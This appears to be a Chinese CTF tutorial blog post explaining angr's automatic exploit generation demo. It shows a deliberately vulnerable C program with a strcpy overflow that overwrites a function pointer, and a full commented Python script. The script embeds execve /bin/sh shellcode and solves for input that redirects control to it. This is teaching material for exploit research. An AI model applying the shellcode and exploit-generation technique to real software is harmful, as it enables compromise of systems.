CTF中的AEG(二) 基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析

在一步一步靠近ctf实战的aeg解体过程中,我们首先使用angr给的一个demo来熟悉angr如何使用的。

用到的源码链接

源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

char component_name[128] = {0};

typedef struct component {
    char name[32];
    int (*do_something)(int arg);
} comp_t;

int sample_func(int x) {
    printf(" - %s - recieved argument %d\n", component_name, x);
}

comp_t *initialize_component(char *cmp_name) {
    int i = 0;
    comp_t *cmp;

    cmp = malloc(sizeof(struct component));
    cmp->do_something = sample_func;

    printf("Copying component name...\n");
    strcpy(cmp->name, cmp_name);

    cmp->name[i] = '\0';
    return cmp;
}

int main(void)
{
    comp_t *cmp;

    printf("Component Name:\n");
    read(0, component_name, sizeof component_name);
    
    printf("Initializing component...\n");
    cmp = initialize_component(component_name);    

    printf("Running component...\n");
    mprotect((void*)((long)&component_name & ~0xfff), 0x1000, PROT_READ | PROT_EXEC);
    cmp->do_something(1);
}

给的这个源码逻辑很简单
定义了一个component结构体,结构体里面一个名字,一个函数。
函数会给个print函数
我们可以输入名字,用这个名字来创建一个结构体
但是漏洞就在于名字最多可以128,但是给的那个结构体长度只有32,会造成缓冲区溢出

查看了一下保护
在这里插入图片描述
因为没有开NX,我们可以直接把shellcode写在里面,然后覆盖函数指针为shellcode的地址,即可利用。

import os
import sys
import angr
import subprocess
import logging

from angr import sim_options as so

l = logging.getLogger("insomnihack.simple_aeg")


# shellcraft i386.linux.sh
shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80")

def fully_symbolic(state, variable):
    '''
    check if a symbolic variable is completely symbolic
    '''
	  #上面有个官方注释说检查是否有符号化变量完全符号化
    for i in range(state.arch.bits):   #总共需要判断那么多位
        if not state.solver.symbolic(variable[i]):  #判断的内容是那个玩意有没有符号化
            return False

    return True
#

def check_continuity(address, addresses, length):
    '''
    dumb way of checking if the region at 'address' contains 'length' amount of controlled memory.
    '''
		#就是检查地址加上长度是不是都是受控的,能用的
		
    for i in range(length):
        if not address + i in addresses:
            return False

    return True

def find_symbolic_buffer(state, length):
    '''
    dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's control
    '''
		# 找内存中可以用的缓冲区
    # get all the symbolic bytes from stdin
    stdin = state.posix.stdin #传入程序的所有符号变量
		
    sym_addrs = [ ]
    for _, symbol in state.solver.get_variables('file', stdin.ident):  #遍历符号
        sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))  #返回带内存符号的符号变量

    for addr in sym_addrs:  #把地址取出来检查一下
        if check_continuity(addr, sym_addrs, length):
            yield addr

def main(binary):
    p = angr.Project(binary, auto_load_libs=False)  #初始化一个angr项目,第一个参数是二进制程序,第二个参数是不去自动加载lib库
    binary_name = os.path.basename(binary)  #获得二进制文件的路径名
    extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}  #是一个字典
    es = p.factory.entry_state(add_options=extras) #把那个字典当参数来获得一个以二进制入口为开始的状态
    sm = p.factory.simulation_manager(es, save_unconstrained=True) #初始化模拟管理器 后面的参数说的是将不受约束的状态放在这

    # find a bug giving us control of PC
    l.info("looking for vulnerability in '%s'", binary_name)
    #输出一个信息,就是说在找那个漏洞点
    exploitable_state = None
    while exploitable_state is None:
        print(sm)
        sm.step() #将所有状态单步推进一个基本块
        if len(sm.unconstrained) > 0:
            l.info("found some unconstrained states, checking exploitability")
            #就像他说的发现有不受约束的状态
            for u in sm.unconstrained:  #遍历不受约束的状态
                if fully_symbolic(u, u.regs.pc):  #判读的是pc
                    exploitable_state = u  #把可利用的状态拿出来
                    break

            # no exploitable state found, drop them
            sm.drop(stash='unconstrained')
					#跟注释一样,如果没找到能利用的状态,就删掉它
					#然后说了句话说没找到可利用状态
    l.info("found a state which looks exploitable")
    ep = exploitable_state
		#判断寄存器 pc 是否为符号值。若是,这代表我们可以控劫持控制流,该状态可利用,跳出循环。如果未约束状态无法利用
		
    assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
		#这里说现在程序肯定都符号化了
		#然后在尝试去找可利用的路子
    l.info("attempting to create exploit based off state")

    # keep checking if buffers can hold our shellcode
    # 一直检查看buffer能不能装的下我们的shellcode
    for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
        l.info("found symbolic buffer at %#x", buf_addr) #这就是找到的buffer
        memory = ep.memory.load(buf_addr, len(shellcode)) #用符号拿出内存来
        sc_bvv = ep.solver.BVV(shellcode) #将shellcode转化为位向量

        # check satisfiability of placing shellcode into the address
        # 检查shellcode放入那个内存的可满足行
        #如果满足那两条约束,就加上那两条约束
        #约束时buffer能写shellcode
        #pc可以指向buffer
        if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
            l.info("found buffer for shellcode, completing exploit")
            ep.add_constraints(memory == sc_bvv)
            l.info("pointing pc towards shellcode buffer")
            ep.add_constraints(ep.regs.pc == buf_addr)
            break
    else:
        l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
        return 1
		
		#对标准输入进行约束求解,然后写进文件
    filename = '%s-exploit' % binary_name
    with open(filename, 'wb') as f:
        f.write(ep.posix.dumps(0))

    print("%s exploit in %s" % (binary_name, filename))
    print("run with `(cat %s; cat -) | %s`" % (filename, binary))
    return 0

def test():
    main('./demo_bin')
    assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'
#一个test函数,把生成的文件里面的输入拿出来给了程序,看能不能成功

if __name__ == '__main__':
    # silence some annoying logs
    # 让日志的一些输出停下来
    logging.getLogger("angr").setLevel("CRITICAL")
    l.setLevel("INFO")

    if len(sys.argv) > 1:
        sys.exit(main(sys.argv[1]))
    else:
        print("%s: <binary>" % sys.argv[0])

脚本的解释都在注释了

跑一下
在这里插入图片描述看得出来是成了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值